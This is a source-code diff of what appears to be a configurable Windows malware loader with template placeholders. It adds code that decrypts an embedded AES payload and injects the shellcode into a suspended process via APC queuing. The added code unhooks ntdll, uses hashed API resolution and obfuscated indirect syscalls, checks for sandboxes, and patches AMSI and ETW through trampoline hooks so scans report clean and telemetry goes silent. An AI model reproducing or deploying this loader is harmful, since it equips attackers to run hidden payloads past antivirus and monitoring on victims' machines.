//printf("[+] Process created with PID: %d\n", dwProcessId);
Sleep(2500);
//printf("[i] Injecting the shellcode into the process..\n");
// Doing the APC Injection
if (!APCInjection(hProcess, pClearText, sEncPayload, &pProcess)) {
return -1;
}
Sleep(1500);
//printf("[i] Running the shellcode via NtQueueApcThread..\n");
// Running the thread via QueueAPCThread
if ((STATUS = NTQAT(hThread, pProcess, NULL, NULL, NULL)) != 0) {
//printf("[-] NtQueueApcThrad failed!\n");
return -1;
}
JITTER_SLEEP(2500);
// #-INJECTION_METHOD_PLACEHOLDER-#
// API Hashing
cDAPS cDAPSu = (cDAPS) GetProcAddressH(GetModuleHandleH(#-KERNELBASE_VALUE-#), #-DAPS_VALUE-#);
//printf("[i] Position of DAPsu: 0x%p\n", cDAPSu);
Sleep(1000);
// Stopping the debugging of the process, which launches the payload
cDAPSu(dwProcessId);
//printf("[+] Payload executed!\n");
// Cleanup: Zero out sensitive data before freeing
if (pClearText) {
SecureZeroMemory(pClearText, sEncPayload);
free(pClearText);
pClearText = NULL;
}
// Zero out encryption keys
SecureZeroMemory(aes_k, sizeof(aes_k));
SecureZeroMemory(aes_i, sizeof(aes_i));
SecureZeroMemory(&ctx, sizeof(ctx));
// Zero out embedded payload
SecureZeroMemory(payload, sizeof(payload));
CloseHandle(hThread);
CloseHandle(hProcess);
free(pClearText);
if (hThread)
CloseHandle(hThread);
if (hProcess)
CloseHandle(hProcess);
return 0;
}
+29 -31
View File
@@ -4,6 +4,8 @@
#include "whispers.h"
#include "functions.h"
#include "AES_128_CBC.h"
#include "sandbox.h"
#include "trampoline.h"
#define TARGET_PROCESS "#-TARGET_PROCESS-#"
@@ -34,6 +36,9 @@ extern __declspec(dllexport) int ctf()
NTSTATUS STATUS = 0x00;
// Seed RNG for jittered sleep timing
srand((unsigned int)GetTickCount());
// #-SANDBOX_CHECK_CALL-#
//printf("[+] Un-hooking Ntdll \n");
LPVOID nt = MapNtdll();
if (!nt)
@@ -41,8 +46,11 @@ extern __declspec(dllexport) int ctf()
if (!Unhook(nt))
return -1;
// Install hooks AFTER unhooking so they don't get erased
// #-TRAMPOLINE_CALL-#
Sleep(500);
JITTER_SLEEP(500);
//printf("[+] PID: %d\n", GetCurrentProcessId());
//printf("[+] Got the content at position: 0x%p with size of %zu\n", &payload, sEncPayload);
@@ -50,7 +58,7 @@ extern __declspec(dllexport) int ctf()
// Decryption routine
//printf("[i] Starting the decryption...\n");
Sleep(500);
JITTER_SLEEP(500);
// Allocating memory to store the decrypted payload inside of pClearText
pClearText = (PBYTE)malloc(sEncPayload);
AES_DecryptInit(&ctx, aes_k, aes_i);
@@ -58,7 +66,7 @@ extern __declspec(dllexport) int ctf()
//printf("\t[+] Payload decrypted at postion: 0x%p with size of %zu\n", pClearText, sEncPayload);
Sleep(1500);
JITTER_SLEEP(1500);
//printf("[i] Creating suspended process..\n");
// Creating a suspeneded process now
if (!CreateSuspendedProcess(TARGET_PROCESS, &dwProcessId, &hProcess, &hThread)) {
@@ -68,36 +76,26 @@ extern __declspec(dllexport) int ctf()
}
//printf("[+] Process created with PID: %d\n", dwProcessId);
Sleep(2500);
//printf("[i] Injecting the shellcode into the process..\n");
// Doing the APC Injection
if (!APCInjection(hProcess, pClearText, sEncPayload, &pProcess)) {
return -1;
}
Sleep(1500);
//printf("[i] Running the shellcode via NtQueueApcThread..\n");
// Running the thread via QueueAPCThread
if ((STATUS = NTQAT(hThread, pProcess, NULL, NULL, NULL)) != 0) {
//printf("[-] NtQueueApcThrad failed!\n");
return -1;
}
JITTER_SLEEP(2500);
// #-INJECTION_METHOD_PLACEHOLDER-#
// API Hashing
cDAPS cDAPSu = (cDAPS) GetProcAddressH(GetModuleHandleH(#-KERNELBASE_VALUE-#), #-DAPS_VALUE-#);
//printf("[i] Position of DAPsu: 0x%p\n", cDAPSu);
Sleep(1000);
// Stopping the debugging of the process, which launches the payload
cDAPSu(dwProcessId);
//printf("[+] Payload executed!\n");
// Cleanup: Zero out sensitive data before freeing
if (pClearText) {
SecureZeroMemory(pClearText, sEncPayload);
free(pClearText);
pClearText = NULL;
}
// Zero out encryption keys
SecureZeroMemory(aes_k, sizeof(aes_k));
SecureZeroMemory(aes_i, sizeof(aes_i));
SecureZeroMemory(&ctx, sizeof(ctx));
// Zero out embedded payload
SecureZeroMemory(payload, sizeof(payload));
CloseHandle(hThread);
CloseHandle(hProcess);
free(pClearText);
if (hThread)
CloseHandle(hThread);
if (hProcess)
CloseHandle(hProcess);
return 0;
+61
View File
@@ -0,0 +1,61 @@
#include <windows.h>
#include "sandbox.h"
#include "functions.h"
/*
* RunSandboxChecks
*
* Lightweight pre-flight checks before payload execution.
* Returns TRUE -> environment looks like a real workstation.
* Returns FALSE -> likely a sandbox / analysis VM; loader should exit cleanly.
*
* All WinAPI calls are resolved at runtime via API hashing (GetProcAddressH /
* GetModuleHandleH) so no suspicious IAT entries appear in the binary.
*
* Checks performed:
* 1. System uptime < #-SANDBOX_MIN_UPTIME_MS-# ms
* 2. Physical RAM < #-SANDBOX_MIN_RAM_GB-# GB
* 3. Logical CPU count < #-SANDBOX_MIN_CPU-#
*/
typedef ULONGLONG (WINAPI* pGetTickCount64_t)(void);
typedef BOOL (WINAPI* pGlobalMemoryStatusEx_t)(LPMEMORYSTATUSEX);
typedef void (WINAPI* pGetSystemInfo_t)(LPSYSTEM_INFO);
BOOL RunSandboxChecks(void) {
HMODULE hK32 = GetModuleHandleH(#-KERNEL32_VALUE-#);
if (!hK32)
return FALSE;
/* --- 1. Uptime --- */
pGetTickCount64_t fnGTC64 =
(pGetTickCount64_t) GetProcAddressH(hK32, #-GETTICKCOUNT64_VALUE-#);
if (!fnGTC64 || fnGTC64() < #-SANDBOX_MIN_UPTIME_MS-#)
return FALSE;
/* --- 2. RAM --- */
pGlobalMemoryStatusEx_t fnGMSE =
(pGlobalMemoryStatusEx_t) GetProcAddressH(hK32, #-GLOBALMEMORYSTATUSEX_VALUE-#);
if (!fnGMSE)
return FALSE;
MEMORYSTATUSEX ms;
ms.dwLength = sizeof(ms);
if (!fnGMSE(&ms))
return FALSE;
if (ms.ullTotalPhys < #-SANDBOX_MIN_RAM_BYTES-#)
return FALSE;
/* --- 3. CPU count --- */
pGetSystemInfo_t fnGSI =
(pGetSystemInfo_t) GetProcAddressH(hK32, #-GETSYSTEMINFO_VALUE-#);
if (!fnGSI)
return FALSE;
SYSTEM_INFO si;
fnGSI(&si);
if (si.dwNumberOfProcessors < #-SANDBOX_MIN_CPU-#)
return FALSE;
return TRUE;
}
+8
View File
@@ -0,0 +1,8 @@
#pragma once
#include <windows.h>
/*
* RunSandboxChecks — returns TRUE if the environment looks legitimate.
* Call this early in the entry point; bail out if it returns FALSE.
*/
BOOL RunSandboxChecks(void);
+307
View File
@@ -0,0 +1,307 @@
/*
* trampoline.c
*
* AMSI & ETW bypass via x64 trampoline hooks.
* Adapted from TrampoLatte (github.com/MochaByte/TrampoLatte).
*
* All WinAPI calls are resolved at runtime via API hashing so no
* suspicious IAT entries appear in the binary.
*/
// #-DEBUG_DEFINE-#
#include <windows.h>
#include <stdint.h>
#include "functions.h"
#include "trampoline.h"
#ifdef DEBUG
#include <stdio.h>
#define DBG(fmt, ...) do { char _b[512]; sprintf(_b, "[TrampoLatte] " fmt "\n", ##__VA_ARGS__); OutputDebugStringA(_b); } while(0)
#else
#define DBG(fmt, ...) ((void)0)
#endif
#define TRAMPOLINE_SIZE 13
extern void RetStub(void);
typedef HANDLE HAMSICONTEXT;
typedef HANDLE HAMSISESSION;
#define AMSI_RESULT_CLEAN 0
typedef int AMSI_RESULT;
typedef HRESULT (WINAPI *PFN_AMSI_SCAN_BUFFER)(
HAMSICONTEXT, PVOID Buffer, ULONG Length,
LPCWSTR ContentName, HAMSISESSION, AMSI_RESULT *Result);
static PFN_AMSI_SCAN_BUFFER g_pOriginalAmsiFunc = NULL;
BOOL GetEtwpEventWriteFull(OUT PVOID *ppFunction)
{
// First getting a pointer to the EtwEventWriteEx function
PBYTE pEtwEventWriteEx = (PBYTE)GetProcAddressH(
GetModuleHandleH(#-NTDLL_VALUE-#),
#-ETWEVENTWRITEEX_VALUE-#);
if (pEtwEventWriteEx == NULL)
{
DBG("[-] Failed to get EtwEventWriteEx");
return FALSE;
}
DBG("[+] Found EtwEventWriteEx at 0x%p", pEtwEventWriteEx);
PVOID pTargetFunction = NULL,
pTemp = NULL;
int i = 0;
// 1. We start at the pointers address and go down the memory lane to find the C3 instruction
while(1)
{
BYTE opcode = pEtwEventWriteEx[i];
// 2. We have reached the RET instruction, stop there
if (pEtwEventWriteEx[i] == 0xC3)
{
break;
}
i++;
}
// 3. By doing it this way, we ensure we hit the right 0xE8 instruction which is the CALL instruction.
// 4. We loop again, this time we move "upwards" to hit the CALL instruction
while (i)
{
BYTE opcode = pEtwEventWriteEx[i];
// 5. We have reached the CALL instruction
if (opcode == 0xE8)
{
// We get the relative address for EtwpEventWriteEx.
// pEtwEventWriteEx + i -> this is the CALL instruction
// + 1 gets you the first byte of the displacement
// I used int32_t because its a 32-bit signed integer and negative displacements are handled correctly
int32_t relative = *(int32_t*)(pEtwEventWriteEx + i + 1);
DBG("relative addr: 0x%p", (PVOID)(uintptr_t)relative);
// We go from pEtwEventWriteEx + i which is the CALL instruction. +5 gets you past that and + relative gets you the relative address of EtwpEventWriteFull.
pTargetFunction = pEtwEventWriteEx + i + 5 + relative;
DBG("pTargetFunction at position: 0x%p", pTargetFunction);
// 6. pTargetFunction is now EtwpEventWriteFull
*ppFunction = pTargetFunction;
return TRUE;
}
i--;
}
return FALSE;
}
BOOL TrampolineX64(IN PVOID pHookedFunction, IN PVOID pDetourFunction, OUT PVOID *pOriginalFunc, OUT DWORD *dwOldProt)
{
DWORD dwOldProtect = 0;
// Trampoline x64
uint8_t uTrampoline[] = {
0x49, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov r10, pFunctionToRun
0x41, 0xFF, 0xE2 // jmp r10
};
// The actual patch
uint64_t patch = (uint64_t)(pDetourFunction);
// Prepare the jump point
memcpy(&uTrampoline[2], &patch, sizeof(patch));
DBG("TrampolineX64: target=0x%p detour=0x%p", pHookedFunction, pDetourFunction);
// Dump the bytes we intend to write
DBG(" Trampoline payload: %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X",
uTrampoline[0], uTrampoline[1], uTrampoline[2], uTrampoline[3],
uTrampoline[4], uTrampoline[5], uTrampoline[6], uTrampoline[7],
uTrampoline[8], uTrampoline[9], uTrampoline[10], uTrampoline[11], uTrampoline[12]);
// Dump the original bytes at the target before we touch anything
{
BYTE *p = (BYTE *)pHookedFunction;
DBG(" BEFORE: %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X",
p[0], p[1], p[2], p[3], p[4], p[5], p[6],
p[7], p[8], p[9], p[10], p[11], p[12]);
}
// Saving the old function
PVOID pTmp = VirtualAlloc(NULL, TRAMPOLINE_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (pTmp == NULL)
{
DBG(" VirtualAlloc failed for backup: %lu", GetLastError());
return FALSE;
}
memcpy(pTmp, pHookedFunction, TRAMPOLINE_SIZE);
*pOriginalFunc = pTmp;
// Changing memory permissions for the function you want to hook
if (!VirtualProtect(pHookedFunction, TRAMPOLINE_SIZE, PAGE_EXECUTE_READWRITE, &dwOldProtect))
{
DBG(" VirtualProtect failed: %lu", GetLastError());
return FALSE;
}
DBG(" VirtualProtect OK — old protection: 0x%lX (%lu)", dwOldProtect, dwOldProtect);
// Write using volatile pointer to prevent compiler from optimizing the write away
volatile BYTE *dst = (volatile BYTE *)pHookedFunction;
for (int i = 0; i < TRAMPOLINE_SIZE; i++)
{
dst[i] = uTrampoline[i];
}
// Flush instruction cache so the CPU picks up the new bytes
FlushInstructionCache((HANDLE)-1, pHookedFunction, TRAMPOLINE_SIZE);
// Verify the write actually landed
{
BYTE *p = (BYTE *)pHookedFunction;
DBG(" AFTER: %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X",
p[0], p[1], p[2], p[3], p[4], p[5], p[6],
p[7], p[8], p[9], p[10], p[11], p[12]);
if (p[0] != 0x49 || p[1] != 0xBA)
{
DBG(" !!! WRITE VERIFICATION FAILED — bytes unchanged. Trying WriteProcessMemory fallback...");
SIZE_T written = 0;
if (WriteProcessMemory((HANDLE)-1, pHookedFunction, uTrampoline, TRAMPOLINE_SIZE, &written))
{
DBG(" WriteProcessMemory OK — %llu bytes written", (unsigned long long)written);
FlushInstructionCache((HANDLE)-1, pHookedFunction, TRAMPOLINE_SIZE);
// Re-check
if (p[0] != 0x49 || p[1] != 0xBA)
{
DBG(" !!! WriteProcessMemory also failed to stick. Page may be protected by CIG/ACG.");
return FALSE;
}
}
else
{
DBG(" WriteProcessMemory failed: %lu", GetLastError());
return FALSE;
}
}
}
DBG(" Trampoline verified and set!");
// Assigning values
*dwOldProt = dwOldProtect;
return TRUE;
}
BOOL RemoveTrampoline(IN PVOID pHookedFunc, IN PVOID pOriginalFunction, IN DWORD dwOldProtect)
{
DWORD dwNewProtect = 0,
dwOldProtection = 0;
// Setting the original function
memcpy(pHookedFunc, pOriginalFunction, TRAMPOLINE_SIZE);
// Restoring the old protetion values
if (!VirtualProtect(pHookedFunc, TRAMPOLINE_SIZE, dwOldProtect, &dwNewProtect))
{
DBG("Failed to restore memory protection: %lu", GetLastError());
return FALSE;
}
return TRUE;
}
// Function to just RET when a hooked function is called
VOID BlockExecutionFlow(PCONTEXT pCtx)
{
// Altering execution flow by placing the instruction pointer to the RetStub
pCtx->Rip = (ULONG_PTR)&RetStub;
}
HRESULT WINAPI ProxyAmsi(HAMSICONTEXT ctx, PVOID buf, ULONG len, LPCWSTR name, HAMSISESSION sess, AMSI_RESULT *pRes)
{
// Changing the return value
*pRes = AMSI_RESULT_CLEAN;
// returning SUCCESS code
return S_OK;
}
BOOL InstallTrampolines(BOOL bypassAmsi, BOOL bypassEtw)
{
PVOID pOriginalEtwFunc = NULL,
pEtwpEventWriteFull = NULL,
pOriginalAmsiFunc = NULL;
DWORD dwOldProtectAmsi = 0,
dwOldProtectEtw = 0;
if (bypassEtw) {
HMODULE hNtdll = (HMODULE)GetModuleHandleH(#-NTDLL_VALUE-#);
DBG("Fetching EtwpEventWriteFull..");
/* 1. EtwpEventWriteFull -- private, found via byte scan (original TrampoLatte) */
GetEtwpEventWriteFull(&pEtwpEventWriteFull);
if (pEtwpEventWriteFull) {
if (!TrampolineX64(pEtwpEventWriteFull, RetStub, &pOriginalEtwFunc, &dwOldProtectEtw))
{
DBG("Failed to trampoline EtwpEventWriteFull");
}
else
{
DBG("EtwpEventWriteFull is now hooked at 0x%p", pEtwpEventWriteFull);
DBG("dwOldProtectEtw value: %lu", dwOldProtectEtw);
}
} else {
DBG("Could not locate EtwpEventWriteFull, skipping");
}
DBG("ETW hooking phase complete");
}
if (bypassAmsi) {
/* Force-load amsi.dll if not already present.
* String is built on the stack -- no static "amsi.dll" in the binary. */
HMODULE hAmsi = (HMODULE)GetModuleHandleH(#-AMSI_VALUE-#);
if (!hAmsi) {
char amsi[] = { 'a'^0x5,'m'^0x5,'s'^0x5,'i'^0x5,
'.'^0x5,'d'^0x5,'l'^0x5,'l'^0x5, 0 };
for (int i = 0; amsi[i]; i++) amsi[i] ^= 0x5;
hAmsi = LoadLibraryA(amsi);
}
if (!hAmsi) {
DBG("Failed to load AMSI.DLL");
return FALSE;
}
/* Resolve AmsiScanBuffer via API hashing -- no IAT entry */
PVOID pAmsiScanBuff = (PVOID)GetProcAddressH(hAmsi, #-AMSISCANBUFFER_VALUE-#);
if (pAmsiScanBuff == NULL) {
DBG("Failed to get AmsiScanBuffer");
return FALSE;
}
DBG("Found AmsiScanBuffer at 0x%p", pAmsiScanBuff);
if (!TrampolineX64(pAmsiScanBuff, ProxyAmsi, (PVOID *)&g_pOriginalAmsiFunc, &dwOldProtectAmsi))
{
DBG("Failed to trampoline AmsiScanBuffer");
return FALSE;
}
DBG("AmsiScanBuffer is now hooked");
DBG("dwOldProtectAmsi value: %lu", dwOldProtectAmsi);
}
return TRUE;
}
+16
View File
@@ -0,0 +1,16 @@
#pragma once
#include <windows.h>
/*
* trampoline.h
*
* AMSI & ETW bypass via x64 trampoline hooks.
* Adapted from TrampoLatté (github.com/MochaByte/TrampoLatte).
*
* InstallTrampolines
* bypassAmsi hook AmsiScanBuffer -> always return AMSI_RESULT_CLEAN
* bypassEtw hook EtwpEventWriteFull -> silent no-op return
*
* Returns TRUE on success (or when both flags are FALSE).
*/
BOOL InstallTrampolines(BOOL bypassAmsi, BOOL bypassEtw);
-1
View File
@@ -89,7 +89,6 @@ LPVOID MapNtdll() {
NTSTATUS status2 = pNtMapViewOfSection(hSection, NtCurrentProcess(), &pntdll, 0, 0, NULL, &ViewSize, 1, 0, PAGE_READONLY);
if (!NT_SUCCESS(status2)) {
//printf("[!] Failed in NtMapViewOfSection (%u)\n", GetLastError());
getchar();
return NULL;
}
return pntdll;
+59 -112
View File
@@ -1,123 +1,70 @@
; ===============================================================
; NASM x64 version of your assembly.
; Save as "whispers-asm.nasm", for example.
; Assemble: nasm -f win64 whispers-asm.nasm -o whispers-asm.obj
; Link: x86_64-w64-mingw32-gcc main.c whispers-asm.obj -o myprogram.exe
; ===============================================================
bits 64
default rel
bits 64 ; 64-bit code
default rel ; Use RIP-relative addressing by default
; XOR keys — values in .data are stored masked so plaintext never sits on disk
%define KEY_SSN 0xD3C97B2F
%define KEY_ADDR 0xD3C97B2FD3C97B2F
; ---------------------------------------------------------------------------
; .data — stored as (realValue ^ key); decoded at dispatch time
; ---------------------------------------------------------------------------
section .data
dwSSN dd 0
qAddr dq 0
; ---------------------------------------------------------------------------
; .text
; ---------------------------------------------------------------------------
section .text
; Export the labels so your C code can call them
global NTAVM
global NTPVM
global NTWVM
global NTQAT
; Declare external symbols (the calls to these are in your code)
extern SW3_GetSyscallNumber
extern SW3_GetRandomSyscallAddress
; ---------------------------------------------------------------------------
; SetConfig(WORD wSSN [ecx], PVOID pSyscallInst [rdx])
; XOR-masks both values before storing so .data never holds plaintext.
; ---------------------------------------------------------------------------
global SetConfig
SetConfig:
push rax
xor ecx, KEY_SSN ; mask SSN before store
mov dword [rel dwSSN], ecx
mov rax, KEY_ADDR ; mask address before store
xor rdx, rax
mov qword [rel qAddr], rdx
pop rax
ret
; ---------------------------------------------------------------------------
; NTAVM
; HellHall dispatch — four typed aliases, one body
;
; Obfuscation applied:
; • address decoded into r11 BEFORE eax is set (avoids rax clobber)
; • push r11 / ret replaces jmp [qAddr] — no indirect-jump byte pattern
; • junk ops interspersed to break byte-signature matching
; ---------------------------------------------------------------------------
NTAVM:
mov [rsp + 8], rcx ; Save registers
mov [rsp + 16], rdx
mov [rsp + 24], r8
mov [rsp + 32], r9
global HellHall_NtAVM
global HellHall_NtPVM
global HellHall_NtWVM
global HellHall_NtQAT
sub rsp, 0x28
mov ecx, 0xC189CD1E ; Load function hash into ECX
call SW3_GetRandomSyscallAddress
mov r11, rax ; Save the address of the syscall
mov ecx, 0xC189CD1E ; Re-load function hash (optional)
call SW3_GetSyscallNumber
add rsp, 0x28
mov rcx, [rsp + 8] ; Restore registers
mov rdx, [rsp + 16]
mov r8, [rsp + 24]
mov r9, [rsp + 32]
mov r10, rcx
jmp r11 ; Jump to -> Invoke system call
HellHall_NtAVM:
HellHall_NtPVM:
HellHall_NtWVM:
HellHall_NtQAT:
mov r10, rcx ; NT ABI: first arg → r10
and r8d, r8d ; [junk] dead flag test on arg3
mov r11, qword [rel qAddr] ; load masked address
mov rax, KEY_ADDR ; decode key (rax free — eax not set yet)
xor r11, rax ; r11 = real syscall instruction address
or r9d, r9d ; [junk] dead flag test on arg4
mov eax, dword [rel dwSSN] ; load masked SSN
xor eax, KEY_SSN ; eax = real SSN
push r11 ; push target onto stack …
ret ; … ret pops it → no jmp pattern
; ---------------------------------------------------------------------------
; NTPVM
; RetStub — ETW trampoline bypass: returns STATUS_SUCCESS (RAX = 0)
; ---------------------------------------------------------------------------
NTPVM:
mov [rsp + 8], rcx
mov [rsp + 16], rdx
mov [rsp + 24], r8
mov [rsp + 32], r9
sub rsp, 0x28
mov ecx, 0x159D0313 ; Load function hash
call SW3_GetRandomSyscallAddress
mov r11, rax
mov ecx, 0x159D0313 ; Re-load function hash
call SW3_GetSyscallNumber
add rsp, 0x28
mov rcx, [rsp + 8]
mov rdx, [rsp + 16]
mov r8, [rsp + 24]
mov r9, [rsp + 32]
mov r10, rcx
jmp r11
; ---------------------------------------------------------------------------
; NTWVM
; ---------------------------------------------------------------------------
NTWVM:
mov [rsp + 8], rcx
mov [rsp + 16], rdx
mov [rsp + 24], r8
mov [rsp + 32], r9
sub rsp, 0x28
mov ecx, 0x83179B97 ; Load function hash
call SW3_GetRandomSyscallAddress
mov r11, rax
mov ecx, 0x83179B97
call SW3_GetSyscallNumber
add rsp, 0x28
mov rcx, [rsp + 8]
mov rdx, [rsp + 16]
mov r8, [rsp + 24]
mov r9, [rsp + 32]
mov r10, rcx
jmp r11
; ---------------------------------------------------------------------------
; NTQAT
; ---------------------------------------------------------------------------
NTQAT:
mov [rsp + 8], rcx
mov [rsp + 16], rdx
mov [rsp + 24], r8
mov [rsp + 32], r9
sub rsp, 0x28
mov ecx, 0x88AE129F ; Load function hash
call SW3_GetRandomSyscallAddress
mov r11, rax
mov ecx, 0x88AE129F
call SW3_GetSyscallNumber
add rsp, 0x28
mov rcx, [rsp + 8]
mov rdx, [rsp + 16]
mov r8, [rsp + 24]
mov r9, [rsp + 32]
mov r10, rcx
jmp r11
; End of file
global RetStub
RetStub:
neg rax ; [junk] overwritten by xor below
xor eax, eax
ret
+5 -277
View File
@@ -1,278 +1,6 @@
/*
* whispers.c — SysWhispers3 replaced by Hell's Hall.
* This file is kept so the Makefile does not need changes.
* All syscall logic is in hellhall.c.
*/
#include "whispers.h"
#include <stdio.h>
//#define DEBUG
#define JUMPER
#ifdef _M_IX86
EXTERN_C PVOID internal_cleancall_wow64_gate(VOID) {
return (PVOID)__readfsdword(0xC0);
}
__declspec(naked) BOOL local_is_wow64(void)
{
__asm {
mov eax, fs:[0xc0]
test eax, eax
jne wow64
mov eax, 0
ret
wow64:
mov eax, 1
ret
}
}
#endif
// Code below is adapted from @modexpblog. Read linked article for more details.
// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams
SW3_SYSCALL_LIST SW3_SyscallList;
// SEARCH_AND_REPLACE
#ifdef SEARCH_AND_REPLACE
// THIS IS NOT DEFINED HERE; don't know if I'll add it in a future release
EXTERN void SearchAndReplace(unsigned char[], unsigned char[]);
#endif
DWORD SW3_HashSyscall(PCSTR FunctionName)
{
DWORD i = 0;
DWORD Hash = SW3_SEED;
while (FunctionName[i])
{
WORD PartialName = *(WORD*)((ULONG_PTR)FunctionName + i++);
Hash ^= PartialName + SW3_ROR8(Hash);
}
return Hash;
}
#ifndef JUMPER
PVOID SC_Address(PVOID NtApiAddress)
{
return NULL;
}
#else
PVOID SC_Address(PVOID NtApiAddress)
{
DWORD searchLimit = 512;
PVOID SyscallAddress;
#ifdef _WIN64
// If the process is 64-bit on a 64-bit OS, we need to search for syscall
BYTE syscall_code[] = { 0x0f, 0x05, 0xc3 };
ULONG distance_to_syscall = 0x12;
#else
// If the process is 32-bit on a 32-bit OS, we need to search for sysenter
BYTE syscall_code[] = { 0x0f, 0x34, 0xc3 };
ULONG distance_to_syscall = 0x0f;
#endif
#ifdef _M_IX86
// If the process is 32-bit on a 64-bit OS, we need to jump to WOW32Reserved
if (local_is_wow64())
{
#ifdef DEBUG
printf("[+] Running 32-bit app on x64 (WOW64)\n");
#endif
return NULL;
}
#endif
// we don't really care if there is a 'jmp' between
// NtApiAddress and the 'syscall; ret' instructions
SyscallAddress = SW3_RVA2VA(PVOID, NtApiAddress, distance_to_syscall);
if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code)))
{
// we can use the original code for this system call :)
#if defined(DEBUG)
printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress);
#endif
return SyscallAddress;
}
// the 'syscall; ret' intructions have not been found,
// we will try to use one near it, similarly to HalosGate
for (ULONG32 num_jumps = 1; num_jumps < searchLimit; num_jumps++)
{
// let's try with an Nt* API below our syscall
SyscallAddress = SW3_RVA2VA(
PVOID,
NtApiAddress,
distance_to_syscall + num_jumps * 0x20);
if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code)))
{
#if defined(DEBUG)
printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress);
#endif
return SyscallAddress;
}
// let's try with an Nt* API above our syscall
SyscallAddress = SW3_RVA2VA(
PVOID,
NtApiAddress,
distance_to_syscall - num_jumps * 0x20);
if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code)))
{
#if defined(DEBUG)
printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress);
#endif
return SyscallAddress;
}
}
#ifdef DEBUG
printf("Syscall Opcodes not found!\n");
#endif
return NULL;
}
#endif
BOOL SW3_PopulateSyscallList()
{
// Return early if the list is already populated.
if (SW3_SyscallList.Count) return TRUE;
#ifdef _WIN64
PSW3_PEB Peb = (PSW3_PEB)__readgsqword(0x60);
#else
PSW3_PEB Peb = (PSW3_PEB)__readfsdword(0x30);
#endif
PSW3_PEB_LDR_DATA Ldr = Peb->Ldr;
PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL;
PVOID DllBase = NULL;
// Get the DllBase address of NTDLL.dll. NTDLL is not guaranteed to be the second
// in the list, so it's safer to loop through the full list and find it.
PSW3_LDR_DATA_TABLE_ENTRY LdrEntry;
for (LdrEntry = (PSW3_LDR_DATA_TABLE_ENTRY)Ldr->Reserved2[1]; LdrEntry->DllBase != NULL; LdrEntry = (PSW3_LDR_DATA_TABLE_ENTRY)LdrEntry->Reserved1[0])
{
DllBase = LdrEntry->DllBase;
PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)DllBase;
PIMAGE_NT_HEADERS NtHeaders = SW3_RVA2VA(PIMAGE_NT_HEADERS, DllBase, DosHeader->e_lfanew);
PIMAGE_DATA_DIRECTORY DataDirectory = (PIMAGE_DATA_DIRECTORY)NtHeaders->OptionalHeader.DataDirectory;
DWORD VirtualAddress = DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
if (VirtualAddress == 0) continue;
ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)SW3_RVA2VA(ULONG_PTR, DllBase, VirtualAddress);
// If this is NTDLL.dll, exit loop.
PCHAR DllName = SW3_RVA2VA(PCHAR, DllBase, ExportDirectory->Name);
if ((*(ULONG*)DllName | 0x20202020) != 0x6c64746e) continue;
if ((*(ULONG*)(DllName + 4) | 0x20202020) == 0x6c642e6c) break;
}
if (!ExportDirectory) return FALSE;
DWORD NumberOfNames = ExportDirectory->NumberOfNames;
PDWORD Functions = SW3_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfFunctions);
PDWORD Names = SW3_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfNames);
PWORD Ordinals = SW3_RVA2VA(PWORD, DllBase, ExportDirectory->AddressOfNameOrdinals);
// Populate SW3_SyscallList with unsorted Zw* entries.
DWORD i = 0;
PSW3_SYSCALL_ENTRY Entries = SW3_SyscallList.Entries;
do
{
PCHAR FunctionName = SW3_RVA2VA(PCHAR, DllBase, Names[NumberOfNames - 1]);
// Is this a system call?
if (*(USHORT*)FunctionName == 0x775a)
{
Entries[i].Hash = SW3_HashSyscall(FunctionName);
Entries[i].Address = Functions[Ordinals[NumberOfNames - 1]];
Entries[i].SyscallAddress = SC_Address(SW3_RVA2VA(PVOID, DllBase, Entries[i].Address));
i++;
if (i == SW3_MAX_ENTRIES) break;
}
} while (--NumberOfNames);
// Save total number of system calls found.
SW3_SyscallList.Count = i;
// Sort the list by address in ascending order.
for (DWORD i = 0; i < SW3_SyscallList.Count - 1; i++)
{
for (DWORD j = 0; j < SW3_SyscallList.Count - i - 1; j++)
{
if (Entries[j].Address > Entries[j + 1].Address)
{
// Swap entries.
SW3_SYSCALL_ENTRY TempEntry;
TempEntry.Hash = Entries[j].Hash;
TempEntry.Address = Entries[j].Address;
TempEntry.SyscallAddress = Entries[j].SyscallAddress;
Entries[j].Hash = Entries[j + 1].Hash;
Entries[j].Address = Entries[j + 1].Address;
Entries[j].SyscallAddress = Entries[j + 1].SyscallAddress;
Entries[j + 1].Hash = TempEntry.Hash;
Entries[j + 1].Address = TempEntry.Address;
Entries[j + 1].SyscallAddress = TempEntry.SyscallAddress;
}
}
}
return TRUE;
}
EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash)
{
// Ensure SW3_SyscallList is populated.
if (!SW3_PopulateSyscallList()) return -1;
for (DWORD i = 0; i < SW3_SyscallList.Count; i++)
{
if (FunctionHash == SW3_SyscallList.Entries[i].Hash)
{
return i;
}
}
return -1;
}
EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash)
{
// Ensure SW3_SyscallList is populated.
if (!SW3_PopulateSyscallList()) return NULL;
for (DWORD i = 0; i < SW3_SyscallList.Count; i++)
{
if (FunctionHash == SW3_SyscallList.Entries[i].Hash)
{
return SW3_SyscallList.Entries[i].SyscallAddress;
}
}
return NULL;
}
EXTERN_C PVOID SW3_GetRandomSyscallAddress(DWORD FunctionHash)
{
// Ensure SW3_SyscallList is populated.
if (!SW3_PopulateSyscallList()) return NULL;
DWORD index = ((DWORD) rand()) % SW3_SyscallList.Count;
